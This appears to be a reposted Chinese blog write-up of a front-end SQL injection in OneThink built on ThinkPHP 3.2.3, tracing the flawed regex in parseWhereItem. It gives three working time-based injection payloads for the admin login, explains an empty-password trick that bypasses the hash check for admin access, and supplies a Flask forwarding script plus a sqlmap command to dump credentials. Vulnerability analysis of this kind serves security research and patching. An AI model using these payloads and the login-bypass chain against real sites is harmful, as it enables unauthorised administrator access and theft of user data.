OneThink前台注入分析


OneThink前台注入進后台分析
我是某次授權的滲透過程中,遇到了OneThink,那么經過一番審計和嘗試,最終實現了OneThink < 1.1.141212時的任意進后台,之前沒有系統審計過tp3系列的注入問題,所以這里也是簡單回顧一下對對onethink的前台注入問題審計的過程,各位大佬輕噴~
OneThink 1.0.131218為例,本地搭建起one.think

打開源碼文件夾,好家伙,踏破鐵鞋無覓處,得來全不費工夫——thinkphp3.2.3的框架,那豈不是,

咱們一起回顧下它sql注入時參數的傳遞過程

# \OneThink\ThinkPHP\Library\Think\Model.class.php #1576L
 public function where($where,$parse=null){//$where=array("username"=>"xxx") ... if(isset($this->options['where'])){ $this->options['where'] = array_merge($this->options['where'],$where);//從左到右合並數組到options中 }else{ $this->options['where'] = $where; } return $this; } 

上邊簡單進行了數組合並,再跟進find(), 將$option變量傳入$this->db對象的select函數,

# \OneThink\ThinkPHP\Library\Think\Model.class.php #624L
 public function find($options=array()) { ... $resultSet = $this->db->select($options); ... 

進入select函數,關注到它的里面使用到了buildSelectSql方法

$options變量的學問就在其中,

# \OneThink\ThinkPHP\Library\Think\Db.class.php # 804L
... protected $selectSql = 'SELECT%DISTINCT% %FIELD% FROM %TABLE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%COMMENT%'; ... public function buildSelectSql($options=array()) { if(isset($options['page'])) { // 根據頁數計算limit ... $sql = $this->parseSql($this->selectSql,$options);/*關鍵*/ ... 

這個parseSql里面,起到注入作用,最重要的就是parseWhere方法
跟進parseWhere方法,425行將$where拆成$``key$``val,在后面幾個地方傳入parseWhereItem()
parseKey是一個取值方法,沒實際意義

下面就是注入發生的地方了,好好分析一下這個parseWhereItem()函數

首先,$val來源於上面的$where變量,是咱們可控的;
其次,這里正則判斷有大問題,沒有使用^ $來定界,導致xxINxx這種形式也能通過判斷,val[0]IN后面實際可構造出任意內容,后續進行了拼接,導致sql注入。

# \OneThink\ThinkPHP\Library\Think\Db.class.php #469L
protected function parseWhereItem($key,$val) { $whereStr = ''; elseif(preg_match('/IN/i',$val[0])){ // IN 運算 if(isset($val[2]) && 'exp'==$val[2]) { $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1]; }else{ if(is_string($val[1])) { $val[1] = explode(',',$val[1]); } $zone = implode(',',$this->parseValue($val[1])); $whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')'; } }elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN運算 $data = is_string($val[1])? explode(',',$val[1]):$val[1]; $whereStr .= ' ('.$key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]).' )'; } 

那么確定存在注入問題,這里咱們看看前台登錄地址處,具體怎么注入

注入分析

payload1-in注入

username[]=in ('')) and (select 1 from (select sleep(4))x)--+-&password=2&verify=0x401 


實際執行SQL語句

SELECT * FROM `onethink_ucenter_member` WHERE ( `username` IN ('')) AND (SELECT 1 FROM (SELECT SLEEP(4))X)-- - () ) LIMIT 1 

payload2-exp注入

username[0]=exp&username[1]=>(select 1 from (select sleep(3))x)&password=2&verify=0x401 

實際執行SQL語句

SELECT * FROM `onethink_ucenter_member` WHERE ( (`username` > (select 1 from (select sleep(3))x)) ) 

payload3-between注入

username[0]=BETWEEN 1 and ( select 1 from (select sleep(2))x)))--+-&username[1]=&password=2&verify=0x401 

SELECT * FROM `onethink_ucenter_member` WHERE ( (`username` BETWEEN 1 AND ( SELECT 1 FROM (SELECT SLEEP(2))X)))-- - '' AND null ) ) LIMIT 1 

ok,現在有了注入,我們就能使用聯合查詢,來繞過后台用戶登錄,實現"萬能密碼"的效果。但在這之前,還需要分析完整的登錄邏輯。

登錄邏輯分析

使用FileMonitor工具,得到后台登錄處的SQL語句

SELECT * FROM `onethink_ucenter_member` WHERE ( `username` = '1' ) LIMIT 1 

而數據表onethink_ucenter_member的結構如下圖,有11列,那么聯合注入就需要構造11個參數union select 1,2,3,4,...,11

接着發現登錄處的鏈接為http://one.think/index.php?s=/admin/public/login.html,跟入源碼

# OneThink\Application\Admin\Controller\PublicController.class.php : 31L
public function login($username = null, $password = null, $verify = null){ ... $User = new UserApi; $uid = $User->login($username, $password); ... 

跟進UcenterMemberModel類,進入login函數

# /OneThink/Application/User/Api/UserApi.class.php  #42L
... protected function _init(){ $this->model = new UcenterMemberModel(); //初始化 } ... public function login($username, $password, $type = 1){ return $this->model->login($username, $password, $type); } 

繼續跟進,發現登錄的關鍵邏輯

# /OneThink/Application/User/Model/UcenterMemberModel.class.php #148L
/* 獲取用戶數據 */ public function login($username, $password, $type = 1){ $map = array(); switch ($type) { case 1: $map['username'] = $username; //給map數組賦值break; ... /* 獲取用戶數據 */ $user = $this->where($map)->find(); //1 用戶名驗證if(is_array($user) && $user['status']){ /* 驗證用戶密碼 */ if(think_ucenter_md5($password, UC_AUTH_KEY) === $user['password']){2 密碼驗證$this->updateLogin($user['id']); //更新用戶登錄信息 return $user['id']; //登錄成功返回用戶ID } else { return -2; //密碼錯誤 } } else { return -1; //用戶不存在或被禁用 } 

整理知道:一個用戶要成功登錄,得過兩道坎:

  1. 用戶名驗證。即要通過$username的驗證,並使得查詢出的$user['status']大於零,所以關注$user = $this->where($map)->find()這一條,跟進where()方法,追到\ThinkPHP文件夾下了,這是注入點。
  2. 密碼驗證。即還要使得think_ucenter_md5($password, UC_AUTH_KEY)等於查詢出的$user['password']$password其實就是咱們登陸時輸入的密碼,我們跟進think_ucenter_md5
    # \OneThink\Application\User\Common\common.php #15L
    function think_ucenter_md5($str, $key = 'ThinkUCenter'){ return '' === $str ? '' : md5(sha1($str) . $key); } 
    得出結論:如果輸入值為空值,那么加密函數返回的結果也為空值——舒服了,根本不必用到hash計算嘛!所以密碼驗證這一步也搞定了,只需要讓POST上去的密碼為空即可!


    網絡不是不法之地。雖然已經可以進后台了,但依然不知道管理員的賬號密碼,有一些登錄界面沒有驗證碼,所以這里再提供一種對接SQLMAP的思路(非改tamper),供大家參考
    ## 對接sqlmap:Flask參數轉發
    首先注入點位置如下圖inejct.png
# encoding: utf-8
# sqli-reverse-flask.py from flask import Flask,request,jsonify import requests def remote_login(payload): '''  對服務器發起訪問請求  ''' burp0_url = "http://one.think:80/index.php?s=/admin/public/login.html" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4086.0 Safari/537.36", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest"} # )) or 1=1 -- - pay = ") =' {} ')-- -".format(payload) # )={payload} )1 = 1 print(pay) burp0_data = {"act": "verify", "username[0]": 'exp', "username[1]": pay, "password": "", "verify": ""} resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False) return resp.text app = Flask(__name__) @app.route('/') def login(): payload = request.args.get("id") print(payload) response = remote_login(payload) return response if __name__ == '__main__': app.run() 

那么經過這個轉發腳本,原本復雜的參數被簡化,你只需要在本地對http://127.0.0.1:5000/?id=1跑sqlmap即可。原理上其實與寫tamper腳本相同,都是讓sqlmap能夠識別出“簡化過的”注入參數。

python sqlmap.py -u http://127.0.0.1:5000/?id=1 --tech=B --dbms=mysql --batch 

reference


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM